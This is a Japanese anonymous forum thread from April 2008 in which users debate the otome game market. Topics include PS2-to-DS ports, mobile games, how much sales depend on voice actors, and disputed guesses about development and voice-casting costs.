- 524 名前：名無しって呼んでいいか？ ：08/04/07 18:39:07 ID:???
- 移植するとなにかしら追加があるから元のPS2版に興味があったけど、
買うタイミングを逃した人とかDS版にくるんじゃないかなぁ
- 525 名前：名無しって呼んでいいか？ ：08/04/07 18:40:52 ID:???
- 移植といったらアプリコッ(r
- 526 名前：名無しって呼んでいいか？ ：08/04/07 19:05:27 ID:???
- 話を豚斬るが、昨日ネオアンジェリークのアニメの実況とか見てて
デュエルは悪い方向で話題になったなーと思った
ヘブン状態が一人歩きしてて、乙女ゲ全般あんなものだと思われてそう
なんだかな
- 527 名前：名無しって呼んでいいか？ ：08/04/07 19:07:17 ID:???
- >>526
ネオアン良かったね
ネオロマ興味なかったけどちょっと可愛いなと思った
- 528 名前：名無しって呼んでいいか？ ：08/04/07 19:21:46 ID:???
- >526
実況みてたけど特に思わなかったぞ。そんなにヘブン状態の話でてたっけ
ああ、また腐向けアニメやＢＬとごちゃまぜに思われてんなぁとは思ったけど
- 529 名前：名無しって呼んでいいか？ ：08/04/07 20:17:49 ID:???
- 全部は見てないが、とりあえず「ヘブン」という言葉が一人歩きしている印象だった
- 530 名前：名無しって呼んでいいか？ ：08/04/07 20:26:54 ID:???
- >>510
勝手に作品登録して叩きまくりなサイトなかったっけ？
2ｃｈ意外でも叩かれてると思うよ。
- 531 名前：名無しって呼んでいいか？ ：08/04/07 23:29:31 ID:???
- 新作よりもドラマＣＤ、ファンディスク、声優イベントが欲しいって意見が多いうちは
この業界発展しないだろうなと思った
- 532 名前：名無しって呼んでいいか？ ：08/04/07 23:31:54 ID:???
- 携帯アプリってコンシューマに比べて
何かと冒険しやすいみたいだけど、そこから名作が出る可能性は低いのかな。
容量が少ないの前提だったり低年齢向け（？）だからもっと難しいか？
- 533 名前：名無しって呼んでいいか？ ：08/04/07 23:46:04 ID:???
- 多分、携帯ゲがもっと数出るようになんないとダメだと思うよ
質に関係なく製作者が増える→プレイヤーも増える→増えすぎて何もかも出し切る→名作ぽっとでる
みたいな流れじゃね？
- 534 名前：名無しって呼んでいいか？ ：08/04/07 23:57:26 ID:???
- 携帯アプリは基本的に儲からないから
まともな対価を求めるクリエイターは来ないって聞いたけどな
- 535 名前：名無しって呼んでいいか？ ：08/04/08 01:03:11 ID:???
- このスレに出てくるような意見が圧倒的多数になれば変わるかもしれんが
実際は少数派だからなぁ…
結局商売である以上、多数派しかも楽に手間かからない方取るのはどうしようもない。
- 536 名前：名無しって呼んでいいか？ ：08/04/08 21:20:28 ID:???
- 自分は一つだけやって微妙と思って以降やってないが
かなり数も増えてきたしクオリティも上がってきてるのかな
携帯アプリ＝手軽に出来る（ストーリー短め）って印象なんだけど
- 537 名前：名無しって呼んでいいか？ ：08/04/08 21:45:14 ID:???
- 容量の関係でボリューム無いのは仕方がないかと
- 538 名前：名無しって呼んでいいか？ ：08/04/08 21:58:23 ID:???
- ギャルゲーの方だと思うけど
勇者死すは面白いって噂を聞いたな
- 539 名前：名無しって呼んでいいか？ ：08/04/09 22:43:53 ID:???
- 勇者死すって俺の屍を越えていけのプロデューサーさんが作ってる
ギャルゲじゃなくて一般でヒロインが選べるＲＰＧに近いはず
発想の面白さとかシステムの楽しさで定評があって
コンシューマで実績のある人が作ればそりゃ面白いとも思う
携帯なら歪みの国の評判もいいよね
- 540 名前：名無しって呼んでいいか？ ：08/04/10 18:30:35 ID:???
- 男性向けやBLはPC→PS2が主流だけど
乙女はPS2→DSの流れになっていくのかな
シナリオちょっと直して追加要素ってパターンは一緒だけど、
DSじゃ移植前後の決定的な違いがタッチくらいしかないのに、今後もユーザーが付いていけるだろうか
タッチは男女問わず受けがいいってのは判るんだが、
どこの会社もそんなことやりだしたらみんな飽きないかな
- 541 名前：名無しって呼んでいいか？ ：08/04/10 20:30:10 ID:???
- >>540
DS持ってない人は、DSというとタッチとしか考えないみたいだけど
TVの前にいなきゃいけない据え置き機から
どこででも(外出先はもちろんベッドの中でも)気軽に出来る携帯機へというのが
一番大きなメリットだと思う
もちろんPSPでもいいんだけれど、所持率からいけば圧倒的にDSってことで
- 542 名前：名無しって呼んでいいか？ ：08/04/10 22:00:30 ID:???
- DS→PS2の方が無難だと思うんだけどね
開発費削ってDSでゲーム作って
評判良かったらボイス・CGごっそりつけてPS2って感じで
- 543 名前：名無しって呼んでいいか？ ：08/04/10 22:17:24 ID:???
- 現状まず声で釣って売る形だから音質微妙なＤＳで
最初から出したりは難しいのかね
ＤＳ初出の乙女ゲもあるこたあるけど今の所タッチペン操作ありきの
システムだからＰＳ２に移植するには微妙だし
ＤＳ→ＰＳ２よりも携帯→ＰＳ２の方が増えていきそうな気がする
- 544 名前：名無しって呼んでいいか？ ：08/04/10 22:31:09 ID:???
- GS2の新キャラは価値ありませんでしたか
- 545 名前：名無しって呼んでいいか？ ：08/04/10 22:32:15 ID:???
- ？なんでそうなるんだ
- 546 名前：名無しって呼んでいいか？ ：08/04/10 22:37:09 ID:???
- DSだろうがなんだろうが声ヲタはつれるだろ
中の人にくっついてるんだから
そこまで音質にこだわる人間はそんな多くないと思うよ
携帯こそありえないだろ
- 547 名前：名無しって呼んでいいか？ ：08/04/10 22:48:31 ID:???
- 音質微妙ってほどＤＳ酷く無いと思うよ
それに顔がくっつくほど間近でｷｬﾗの顔見れるのもいい
ＤＳはこれからドンドン増えると思うんだけどね
ゲーマーじゃない人は手軽じゃなきゃやらないし
- 548 名前：名無しって呼んでいいか？ ：08/04/10 22:51:43 ID:???
- 音質以前に、フルボイスにしようと思ったら
現状コストがかかるんでないか。
DSは開発費自体が低いというから相殺的にそうでもないのかな？
まあ自分は声はどうでもいいが
音楽でDSの音質にがっかりしてしまう方だけど
確かにそういう人間はあんまいなさそうだと感じてる。
- 549 名前：名無しって呼んでいいか？ ：08/04/10 23:09:01 ID:???
- >>542でPS2移植時にボイスごっそり追加っていってるのに…
PS2移植前提ならDSでフルボイスにする必要なんかないじゃん
いわばお試し版だもん
- 550 名前：名無しって呼んでいいか？ ：08/04/10 23:16:16 ID:???
- あーつまり声ヲタの人はDS、PS2両方で釣るんでなくて
PS2でだけ釣るって事か、勘違いしてた。
- 551 名前：名無しって呼んでいいか？ ：08/04/10 23:21:07 ID:???
- 多少のボイスがあれば声オタは釣れるだろ
ネオロマで釣れてんだから
- 552 名前：名無しって呼んでいいか？ ：08/04/10 23:22:28 ID:???
- ネオロマは声の分割商法だろ
ＳＦＣ時代にソフトと同時にドラマＣＤ出してるんだから
- 553 名前：名無しって呼んでいいか？ ：08/04/10 23:37:08 ID:???
- だからゲームに声がなくても声オタは釣れるだろって散々言ってるやん
- 554 名前：名無しって呼んでいいか？ ：08/04/10 23:40:13 ID:???
- 今の所タッチペンありきの非移植ＤＳゲ（ＤＵＥＬ、コミックガーデン）
しかないけど、これからはＰＳ２移植もしやすいのが出てくるのかね
なんだかまだＤＳではタッチペンとかマイクを活用しないと駄目みたいな
感覚が製作側に残ってる気がする
- 555 名前：名無しって呼んでいいか？ ：08/04/10 23:40:53 ID:???
- 声ヲタの人ってどのへんがこう、購入ポイントなんだろ？
普通に考えれば、DSって特に人の声は割れがちだし
パートボイスかつ移植前提の作りだと
勿体なく感じないのかなと思うんだけど。
- 556 名前：名無しって呼んでいいか？ ：08/04/10 23:44:14 ID:???
- DSは安価だからね
4800円とかなら声優さんがでてるってだけで買うんじゃない？
つかGSとかそんな酷くなかったぞ＜DSの音
- 557 名前：名無しって呼んでいいか？ ：08/04/10 23:45:15 ID:???
- >>555
声聞けるだけいいって感覚なのかなあ
砂嵐とか雑音酷いけど頑張ってアニメ見たりラジオを聞く的な
- 558 名前：名無しって呼んでいいか？ ：08/04/10 23:47:12 ID:???
- GSは音声圧縮に独自技術使ってるんでなかったっけ。
- 559 名前：名無しって呼んでいいか？ ：08/04/10 23:54:50 ID:???
- >>555
半分コレクションアイテム的な意味合いで買う人もいる。
とりあえず「その声優」が関わった商品を手元に置いておきたい、て。
- 560 名前：名無しって呼んでいいか？ ：08/04/11 00:02:54 ID:???
- 音声、GSはそんなに気にならなかったけどそのあとやったvitaminは音悪い印象。
このジャンル本当、声優人気ありきだなー。あるスレ見て改めて思った。
別に悪くは無いと思うんだよ。声や絵を購入基準にするのは。
「声オタとかのせいで進歩しないんだ」みたいなのもどうかと思うし。
でも、この声優さんきたから・この絵師さんきたから"買わなきゃ”ってのがどうも引っかかる…。
シナリオとか自分の好みじゃなくてもプレイはするんだよね？それでも満足するもんなのかな。
- 561 名前：名無しって呼んでいいか？ ：08/04/11 00:06:22 ID:???
- つかヲタが声でかいだけで実際の購買層は
そんなでもないでしょ
ゲーム買う人間が全員声オタでもないんだし
5万売れたゲームのCDが5万売れるわけでもなし
- 562 名前：名無しって呼んでいいか？ ：08/04/11 07:38:31 ID:???
- >>560
だからこそ不満の声も大きいんじゃない？
そこで悪循環があるのも確かだと思う
「好きな声優（絵師）だから設定は地雷っぽいけど買わなきゃ」→シナリオが全然合わなかった
お金出したのにみたいなさ
勿論自己責任で買ってるんだから自分が悪いわけだけど
DSで手軽に出来るって言うけど
どの道家でやる自分は、むしろ今後もPS2で出てくれていた方が良いんだけどなぁ
自分が基本的に移植はあんまり歓迎しない派だからかもしれないけどね
- 563 名前：名無しって呼んでいいか？ ：08/04/11 10:19:59 ID:???
- 家でやるからＰＳ２でいいって人はオタク環境が整ってると思う
家族がいるとササッと隠せるＤＳがいいんだよね
一人暮らしとか個室に篭ってても家族が干渉しない環境は羨ましい
- 564 名前：名無しって呼んでいいか？ ：08/04/11 11:44:10 ID:???
- 私もどっちかと言うとPS2が良いな
大画面でスチルやOPムービーが見られるのは嬉しいし
声オタのつもりはないけどフルボイスで会話のテンポが良いプレイや
音質の良さはPS2にしかないと思う
ただムービー入れてゲーム中の音声削るのはなんかなーと思う
- 565 名前：名無しって呼んでいいか？ ：08/04/11 12:57:32 ID:???
- 自分はPS2がいいとか
そういうのを語るスレではないんだがｗ
自分はPS2がいいからPS2に出して欲しいってのと
現在の開発環境や普及・ソフト全体の売れ具合から行ってDSに出して評判よければPS2移植じゃない？
ってのは全然世界が違う話だろ
- 566 名前：名無しって呼んでいいか？ ：08/04/11 21:19:58 ID:???
- これからはDSの方が多くなってくるのかな
声と絵で買う人がある程度いるこの市場でどう展開していくんだろう
DSだとシナリオを読み進めるゲームは結構目にきついような気がするんだけどそんな事ないのかな
- 567 名前：名無しって呼んでいいか？ ：08/04/11 22:31:27 ID:???
- DSは文字潰れて見にくいんだよなあ
濁点と半濁点の見分けつかなかったりするし
- 568 名前：名無しって呼んでいいか？ ：08/04/11 22:38:40 ID:???
- そのあたりは、どんなファントを使っているかっていう
ゲームによるからな
DSでも、ゲームによって、読みやすいのや読みづらいのやいろいろだ
- 569 名前：名無しって呼んでいいか？ ：08/04/11 23:36:46 ID:???
- ＤＳで読書とかあるんだから何とでもなるでしょ
- 570 名前：名無しって呼んでいいか？ ：08/04/12 00:53:49 ID:???
- >>566
アドベンチャー隆盛のDSで読み進めるゲームがきついは
ありえないだろ
名作文庫もあるってのに
GBAの頃ですら逆裁は評判良かったぞ
これもテキストかなり読む
- 571 名前：名無しって呼んでいいか？ ：08/04/12 01:03:35 ID:???
- ほぼ全画面に文字表示する文学全集と
文字を表示できる範囲が制限されてる乙女ゲーではさすがに条件違う気がするが。
確かにGSDSに使われてる文字フォントは画数の多い漢字が潰れたり
濁点と半濁点の見分けがつかなかったり、読みづらかった。
逆に、世界樹の迷宮のテキストも似たようなフォントが使われてたけど
読む絶対量の違いと、漢字の比率がわりと少な目だったのとで
それほど読みづらい印象はなかったな。
テキスト量の多いDSソフトでも読みやすいのもあるし
制作側の工夫で乗り切れそうな問題だとは思う。
- 572 名前：名無しって呼んでいいか？ ：08/04/12 02:55:18 ID:???
- その点では緋色に注目してる
ここでうまくやれば、DSでのノベル形式もいける→最初からDSで開発、も有り得るかもしれない
なんか嫌な予感もするんだけどね
- 573 名前：名無しって呼んでいいか？ ：08/04/12 09:14:45 ID:???
- 緋色は、PS2の時から既に文字が読みにくかったのに
(テキストも糞だから、逆に読み飛ばすのに最適だったが)
DSへの移植で、読みやすい文字とかそんな配慮してくれるとは思えないな
- 574 名前：名無しって呼んでいいか？ ：08/04/13 02:27:50 ID:???
- 個人の意見としてDS移植が増えるのは
あまり賛成したくないなぁ
画面小さいし2画面だから
スチル分かれて見にくいし
ドットがみえみえで荒いし
乙女ゲーって美麗スチルを
楽しむものだと思ってるから
容量少ないDSは好ましくない
- 575 名前：名無しって呼んでいいか？ ：08/04/13 07:50:50 ID:???
- そこは人それぞれで分かれる所だな＞美麗スチルを楽しむもの
自分は字が小さくて辛くなるけど、これは多分携帯機共通だしな。
でも女性向けジャンルである以上、携帯機ゲーの需要は多いと思ってる。
でも女性向けだからこそ、上で出た携帯機でお試し版という案は
上手く作らないと「有料体験版かYO！」という不満も出そうだな。
- 576 名前：名無しって呼んでいいか？ ：08/04/13 08:34:20 ID:???
- ＤＳ→ＰＳ２の流れが定番化したら、ＤＳゲへの特攻を躊躇う人が増えそう
大きな画面、ＤＳ以上の音質・画質に追加要素まであるなら
ＰＳ２版待った方がいいって発想の人も当然いるだろうし
「お試し版」としてじゃなくＤＳ版ならではの魅力・ＰＳ２ならではの
利点で差別化して違うウリの別ゲームとして売るくらいの気概はいるような
- 577 名前：名無しって呼んでいいか？ ：08/04/13 08:48:31 ID:???
- >>576
本当にこういう意見が大半？
携帯機しかプレイできませんって人も多いと思うんだけどな
ＧＳ、ＧＳ２スレとか見るとＤＳになったから買いましたって人も多い
ここの人の意見って一般と少しずれてない？
- 578 名前：名無しって呼んでいいか？ ：08/04/13 09:12:32 ID:???
- 多分、このスレは自分含めてコアなゲーマーが多いんじゃ。
そしてコアゲーマーの意見って男女問わず、
携帯機の携帯機ならではの可能性は認めつつも
それでもなおゲームの本質は据え置きという結論に至っている人が多い予感。
その場合、女性ライトゲーマーの一般論とは多少ズレるかもしれんね。
- 579 名前：名無しって呼んでいいか？ ：08/04/13 09:31:07 ID:???
- 2ちゃんねるのこんな板に来る女ヲタと
一般的なちょっとゲーム好きで乙女ゲーにも興味がある程度のライトとはちがうと思う
コアな女ヲタ向けに、特典やイベントで金を稼ぐのか
ライトな層も取り込んで、広く売っていくのかで
各ゲームの展開も変わるんじゃないか？
多様性ということで、どっちの方向もあっていいと思うけど
- 580 名前：名無しって呼んでいいか？ ：08/04/13 10:10:06 ID:???
- >576
ＰＣ→ＰＳ２が今そういう流れになってそうな気ガス＞買うのに躊躇
パレドゥも１年くらい(だっけ？)で追加付けて移植してるし
まだ発売してないけどあさきや三國志も絶対移植すると思ってる
ベタ移植じゃ駄目なのは判るけどお互いにしかない要素は欲しいなと
- 581 名前：名無しって呼んでいいか？ ：08/04/13 10:23:23 ID:???
- 移植ありき、派生ありきの開発は後々頭打ちになると思う
ユーザーも馬鹿じゃないｗ
個人的にはコルダあたりはDS向きだと思うし出せば当たる気がするが
- 582 名前：名無しって呼んでいいか？ ：08/04/13 10:31:21 ID:???
- 肥えみたいに自社移植してるならともかく、
それ以外の会社の作品で移植待ちの買い控えしたら、
元のPCソフトが売れなくて開発もされなくなるだろうね。
- 583 名前：名無しって呼んでいいか？ ：08/04/13 10:45:23 ID:???
- ＞ユーザーも馬鹿じゃない
これはどうだろう…
ゲームの出来が良い悪いの話でなく
自分の好みじゃないってだけで叩き下手すりゃ公式に凸し
ゲームが出れば次回作より声優イベントやれドラマCD出せFD作れ
とか言ってるのが馬鹿じゃないと言いきれるのか
- 584 名前：名無しって呼んでいいか？ ：08/04/13 10:46:37 ID:???
- PS2がメインのユーザーは別にそれでもいいんでない？＜買うの躊躇
メーカーもそれ見込んでのPC発売だと思うし
自分みたいにゲームはPCでやりたい層にはPC版発売は普通に有難いし
地雷かどうかも見極められてPS2ユーザーも損はない。追加要素もあるだろうし
- 585 名前：名無しって呼んでいいか？ ：08/04/13 11:16:33 ID:???
- >ユーザーも馬鹿じゃない
オトメイトゲーやってるやつには言えないな
- 586 名前：名無しって呼んでいいか？ ：08/04/13 11:37:48 ID:???
- >>580
PCはたけぇもんよ
7800円でお試し版を買うかっつー話
そもそも移植視野に入れるならそりゃDSならではのモンはある程度必要だろうよ
- 587 名前：名無しって呼んでいいか？ ：08/04/13 14:19:15 ID:???
- >>575
既にオレンジハニーがそれをやらかしている件
本当に携帯の無料版のシナリオをほぼそのまま移植して声つけて立ち絵変えただけのゲームだった
移植だったりFDを作る事を前提にするんじゃなくて
DSならDS、PS2ならPS2で分けてそれぞれの良さをいかしたゲームを作りこんでくれるのが一番じゃないかと思うんだけどな
同じゲームをDSとPS2で同時開発して発売日を同じにして
それぞれの長所を生かしたゲームにして（例えばDSならタッチペン、PS2なら立ち絵とスチルとか）
ユーザーに好きな方を買ってもらうとかやったらどうなるんだろうね
- 588 名前：名無しって呼んでいいか？ ：08/04/13 14:37:08 ID:???
- てか、ＰＣ→ＰＳ２に移植されるだろうからＰＣを買うのを躊躇って
今の話じゃなくて昔っからの話じゃないの？
>>583
そっちの意味じゃなくて、
移植や愛蔵版・廉価版の発売が続くから
そっちを待って最初のソフトを買い控えるってユーザーが尚更増えて
最初のソフトが売れない＝乙女ゲ開発頭打ちって話だと思う。
>>587
長所を生かしてるかはしらないけど、遙４がPS２とWiiで出るらしいよ。
大昔のSSとPSの同時発売みたいなもんだろうから、参考にはならないだろうけど…。
- 589 名前：名無しって呼んでいいか？ ：08/04/13 15:29:10 ID:???
- 今の据え置き機はアドベンチャーを作るのに向いていない（3D特化されている）から
携帯機の方にシフトするという動きはあるかもしれないと思ってる
DSは案外（一般含め）アドベンチャーが出てるから、
作りやすさはそれなりなんだろうと思うんだけど、PSPの方はどうなんだろうね
PS2と同じだったらやっぱりアドベンチャーは作りづらそうだけど
音質や画質という面ではDSを上回ってるという点はやっぱり開発側にも重視されるのかな？
個人的にはいっそ据え置きからPCへ移植してくれた方が嬉しいんだけどな
PCゲーのロードの速さとシステムの快適さに慣れると、据え置きの重苦しさが目に付くわ
- 590 名前：名無しって呼んでいいか？ ：08/04/13 15:34:25 ID:???
- >>588
肥は、新ハードを生かしたゲーム作りとか昔からできないので
Wiiで出すからと言って、PS2版とさして違うことができるとは思えない
もし新ハードを生かしたゲーム作りといっても、
肥の場合は、Wii＝リモコン振り って勝手に思い込んで
ただの疲れるゲームという結果になりそう
- 591 名前：名無しって呼んでいいか？ ：08/04/13 15:45:13 ID:???
- >>589
据え置き→ＰＣのパターンもないわけじゃないんだけどね…
ＰＣの乙女ゲユーザーにおける普及率の問題か例が少ないし
これからもあまり増えなさそうな予感
- 592 名前：名無しって呼んでいいか？ ：08/04/13 15:48:53 ID:???
- 隣板見てるとＰＣゲームはコンスマ以上にサポートが大変そうだ
さすがに公式がググレカスとは言えないだろうしな
- 593 名前：名無しって呼んでいいか？ ：08/04/14 02:04:39 ID:???
- 最近はPC乙女ゲ＝据え置き機のための布石
って感じだから逆はなお更難しいのでは…
- 594 名前：名無しって呼んでいいか？ ：08/04/14 07:31:18 ID:???
- 最初からコンシューマーで出さないのは、コンシューマーの方が開発費が高いとかかな？
- 595 名前：名無しって呼んでいいか？ ：08/04/14 08:58:48 ID:???
- コンシューマー全てについて知っているわけではないけど
少なくともPS2（及びPS3）の開発はかなりかかるらしい
その上アドベンチャーゲームを作るにはかなり不向きな仕様みたいだ
かといって開発しやすいPCで作っても数は出ないっぽいし、選択の余地は無いだろうね
それと、制作側が最初から移植するつもりがあるわけじゃなくても
移植を取り扱っている会社から声がかかったら、断ることはそうそうないと思う
これも、PCからコンシューマーへの移植が多い原因の一つなんじゃないかな
- 596 名前：名無しって呼んでいいか？ ：08/04/14 09:11:13 ID:???
- っていうか、移植を主に扱ってる会社って
乙女ゲーの場合儲かってるんだろうか。
- 597 名前：名無しって呼んでいいか？ ：08/04/14 12:23:28 ID:???
- 携帯ゲームは少人数で出来るらしいし
やっぱ据え置きと比べると圧倒的にラクなんじゃないかなぁ
世界樹も初代はすごい少人数の低予算で作ったらしいし
- 598 名前：名無しって呼んでいいか？ ：08/04/14 13:12:07 ID:???
- 確か世界樹1が6人だっけ。
音楽とキャラデザは外注だったから上の数には入ってないかもしれないけど
それにしても結構ボリュームあるものをすごい少人数で手がけてたんだね。
- 599 名前：名無しって呼んでいいか？ ：08/04/14 14:21:44 ID:???
- それじゃあやろうと思えば
乙女ゲーもそれ位の人数や低予算で
ハイクォリティなやつができるわけか
やろうと思えば
- 600 名前：名無しって呼んでいいか？ ：08/04/14 14:54:56 ID:???
- やろうと思えばね
- 601 名前：名無しって呼んでいいか？ ：08/04/14 15:59:18 ID:???
- クオリティを上げてアップする売り上げと
人気絵師、声優を連れてきてアップする売り上げは
どっちが多くてどっちが楽ですか？
- 602 名前：名無しって呼んでいいか？ ：08/04/14 16:22:10 ID:???
- ニッチな給料で少人数をこき使い
残りの金で人気絵師・声優を連れてくればおｋ
- 603 名前：名無しって呼んでいいか？ ：08/04/14 17:56:02 ID:???
- どうせ大した人数買わないんだから
特典たくさん付けて複数買いさせようぜwww
- 604 名前：名無しって呼んでいいか？ ：08/04/14 17:57:14 ID:???
- >>603
それじゃ今と大して変わらないｼﾞｬﾏｲｶｗ
……まあ笑い事じゃないけど
- 605 名前：名無しって呼んでいいか？ ：08/04/14 20:26:39 ID:???
- 少人数ってのはメインスタッフの話でしょ
そういう時に外注まで数えるってのは聞いたことがない
「少人数でこんなに凄いゲームを作った」という場合
外注に知り合いを総動員するってパターンもあるしな
- 606 名前：名無しって呼んでいいか？ ：08/04/14 21:56:19 ID:???
- 少人数で低予算って携帯ゲーの話だよな
PS2のゲームは開発費１億くらい要るんじゃなかったっけ
- 607 名前：名無しって呼んでいいか？ ：08/04/14 22:42:20 ID:???
- PS2だからってすべてのゲームが数億かかるわけじゃないし
乙女ゲの場合2千万あれば良い方じゃないの
- 608 名前：名無しって呼んでいいか？ ：08/04/15 00:04:50 ID:???
- 6800円のゲームのうち
会社に入ってくる売り上げが五千円くらいだとして
5000円×６万本＝３億円
5000円×２万本＝１億円
いっけん結構もうけてそうに見えたんだけど
ＣＭ一枠とるのに云千万かかるとか聞いたり
年収300万の社員が30人いるとして
一年で9000万は人件費のみで消えていく計算になるし…
とか考えたりすると色々大変そうだなとは思う
- 609 名前：名無しって呼んでいいか？ ：08/04/15 00:11:21 ID:???
- ＞6800円のゲームのうち
＞会社に入ってくる売り上げが五千円くらいだとして
ちょwwwそんな多い訳ないだろwwwwwwwwww
- 610 名前：名無しって呼んでいいか？ ：08/04/15 00:28:46 ID:???
- >>608
ハードホルダーに払うロイヤリティーやら
ロム焼くための費用やらパケ代やら、流通・小売の利益やら
どう考えても、そんなにメーカーに入るはずがないだろ 常考
- 611 名前：名無しって呼んでいいか？ ：08/04/15 00:32:41 ID:???
- ６万本の梱包輸送費すら含まれてないしw
- 612 名前：名無しって呼んでいいか？ ：08/04/15 00:45:24 ID:???
- ＰＣゲームは定価8000円の半額、4000円が大体メーカーに入るらしい。
その4000円から開発費、人件費、広告費、ＲＯＭパケ一式、輸送関連費用、
その他もろもろ＋税金引かれて儲けだとか。
- 613 名前：名無しって呼んでいいか？ ：08/04/15 00:51:22 ID:???
- ないわｗ
制作、問屋、小売りで利益あげるんだから
希望小売価格を6800として、予約時点での割引きを考えると
問屋が2500、小売りが4000くらいで買い取ってる気がするんだけど、（経済やってないので適当、もっと安いかも
フルボイスキャスティングに200万かかるとして、
声なし5800と声付き6800なら、1000本売れば回収できるんだよね
そりゃあこぞって声つけるわな
- 614 名前：名無しって呼んでいいか？ ：08/04/15 00:56:33 ID:???
- ＞フルボイスキャスティングに200万かかるとして
えっらい安いなオイwwwwwwwwwww
- 615 名前：名無しって呼んでいいか？ ：08/04/15 01:01:10 ID:???
- おまいらみんな相場知らなさ杉だろｗ
自分もよく分からんけどな
- 616 名前：名無しって呼んでいいか？ ：08/04/15 01:01:31 ID:???
- 倍はかかるってのｗｗｗ
- 617 名前：名無しって呼んでいいか？ ：08/04/15 01:02:40 ID:???
- 若手の相場が安い奴片手の指以下使って中身薄かったらそれくらいで済まないか？
- 618 名前：名無しって呼んでいいか？ ：08/04/15 01:04:12 ID:???
- >>617
その条件でスタジオを最低レベルに落とせば行ける気はする
音切り納品や音圧調整やら全部自社でやるとか
- 619 名前：名無しって呼んでいいか？ ：08/04/15 01:04:12 ID:???
- ゲームのギャラは収録時間によるもんだからなぁ…どんなもんだろ
- 620 名前：名無しって呼んでいいか？ ：08/04/15 01:05:18 ID:???
- 相場が安い奴を使っていようが、中身が薄かろうが、
フルボイスなら結構な額になる
っつーか、有名どころ使って内容も濃い目にしたら
倍でも収まらないかもしれん
- 621 名前：名無しって呼んでいいか？ ：08/04/15 01:13:09 ID:???
- 最近はシナリオ容量も増えたからフルボイスだと
半端ない金額になるとはエロゲでもよく言われてるよ
大手メーカーでも有名声優使って1000万越えちゃうと尻込みするとか
エロゲの底辺は本当に底辺だけどな
ヒロイン５人でボイス代３０万とかw
- 622 名前：名無しって呼んでいいか？ ：08/04/15 01:14:10 ID:???
- >>607
紙芝居で尺短めPCエロゲーならそれくらいかと
- 623 名前：名無しって呼んでいいか？ ：08/04/15 01:23:08 ID:???
- 紙芝居で尺短めPCエロゲーに2千万は多過ぎだろうw
仮に4400円丸々会社に入ったとしても4500本以上売らないといけないぞw
- 624 名前：名無しって呼んでいいか？ ：08/04/15 01:24:12 ID:???
- 声優10人で200万ならランク別で1人当たり10〜20数万になるけど、これだと安いん？
確かに段ボール一箱とかいったら3倍はいきそうだけど
ギャラって難しいね
- 625 名前：名無しって呼んでいいか？ ：08/04/15 01:40:27 ID:???
- ダンボール１箱の台本がノーミスで読み終わるまで
声優もスタッフも収録スタジオも機材もその技術者も
全部拘束でかかる金額だからな……安くないか？
収録後はボイスデータをゲームに組み込めるように
仕上げる手間と人もあるだろう？
- 626 名前：名無しって呼んでいいか？ ：08/04/15 01:50:03 ID:???
- 純粋に声優に支払われる金額以外に
いっぱいかかるんだな
- 627 名前：名無しって呼んでいいか？ ：08/04/15 01:55:13 ID:???
- >>623
社員で制作、宣伝費込み、フルボイスで考えたんだけどちょっと高いか
まあエロゲは制作だけなら500万くらいで出来るな
- 628 名前：名無しって呼んでいいか？ ：08/04/15 02:08:26 ID:???
- 直販持ってるコーエー・コナミは利益率ほかより断然いいのか
- 629 名前：名無しって呼んでいいか？ ：08/04/15 08:45:15 ID:???
- >>628
当然の話だが、基本的に販売は直販が一番メーカーにとって美味しい
けど、やりすぎると小売に白い目で見られて、結果的に身動きがとれなくなるから
あまり前面に押し出しているところってのは（余程の大手でないかぎり）ないと思う
- 630 名前：名無しって呼んでいいか？ ：08/04/15 09:27:33 ID:???
- 小さいところは人手も金もないから
ある程度流通や小売の営業力に頼らないといけないしね
まあ自社の商品じゃないから一生懸命は絶対やってもらえないけど
下手すりゃ「発売するよー」とＦＡＸ１枚流されて終わりって場合も
なんか金の無いメーカーはとことん儲からない
金のあるメーカーはどんどん儲かる格差社会みたいだなw
- 631 名前：名無しって呼んでいいか？ ：08/04/15 12:08:19 ID:???
- それでも美味そうに見えれば小売だって頑張ってくれるんだよね
- 632 名前：名無しって呼んでいいか？ ：08/04/15 13:37:14 ID:???
- だから絵と声が美味そうに見えるためには必要、と
- 633 名前：名無しって呼んでいいか？ ：08/04/16 18:10:10 ID:???
- 中身が神ゲーだったとしても、手にとってもらえなければ埋もれて消えるだけだからね
- 634 名前：名無しって呼んでいいか？ ：08/04/16 19:36:34 ID:???
- いや、神ゲーなら口コミで広まるよ。
ネットの無い時代じゃあるまいし。
ただしホントに神ゲーならね。
- 635 名前：名無しって呼んでいいか？ ：08/04/16 20:21:38 ID:???
- 結果的に口コミでどれだけ広まろうと
初期の営業活動に使えないわけで
結局のところ無意味なんじゃない……？
それに口コミで情報が広まろうと、買ってもらえるとは限らないじゃん
新作情報なんかと被ったら、多少評判が高くても後回しになりがちな気がするよ
- 636 名前：名無しって呼んでいいか？ ：08/04/16 20:21:42 ID:???
- でも絵が微妙、声優も微妙だったらまず手に取ろうとはしないしなあ
ある程度の水準はやっぱり必要かと
- 637 名前：名無しって呼んでいいか？ ：08/04/16 20:40:00 ID:???
- 出荷数が少なければ口コミで広がっても…
続編には繋がるだろうけど
- 638 名前：名無しって呼んでいいか？ ：08/04/16 20:53:06 ID:???
- こう言う流れを見ると、ひぐらしみたいに同人から盛り上がっていくパターンは
女性向けのゲームでは無理なんだろうな思う
- 639 名前：名無しって呼んでいいか？ ：08/04/16 21:56:48 ID:???
- いや、無理ってことはないでしょ
同人から盛り上がっていくのと最初から商業ベースで作るのとでは全く別の話だよ
ただし、ひぐらしがあまりにも目に付くから勘違いしがちだけど
同人で人気が出て移植という形でも、結局パッとしなかったゲームってのもある
エロゲからエロを抜いてのギャルゲ化コンシューマー移植も然り
そんな博打展開を狙うよりも、地道に良ゲーを作る努力をしてくれる企業が
出てきてくれた方が嬉しいと思うんだが
- 640 名前：名無しって呼んでいいか？ ：08/04/17 12:11:53 ID:???
- ＞金のあるメーカーはどんどん儲かる格差社会みたいだなw
DUEL出したバンナムは結局どうだったんだろう
宣伝には凄く力入れてたけど売り上げはあんまり大した事なかった感じ
声優で釣るとかアプリ商法とか、こういうとこは見習って欲しくなかったよ
- 641 名前：名無しって呼んでいいか？ ：08/04/17 12:52:00 ID:???
- 昨今のバンナムを見ている限りでは
乙女ゲー他社を見習った結果ではないかもしれない
スレチな話題かもしれないけど、DLC関係とか結構酷いからね
- 642 名前：名無しって呼んでいいか？ ：08/04/17 13:55:30 ID:???
- デュエルプレイしたんだが、システム周り以外はそれ程作りこまれてない印象
ボイスもかなり少ないし、宣伝の為だけに声優使った感じ
これ以上派生や販促にしか力使わないメーカー増えて欲しくないな
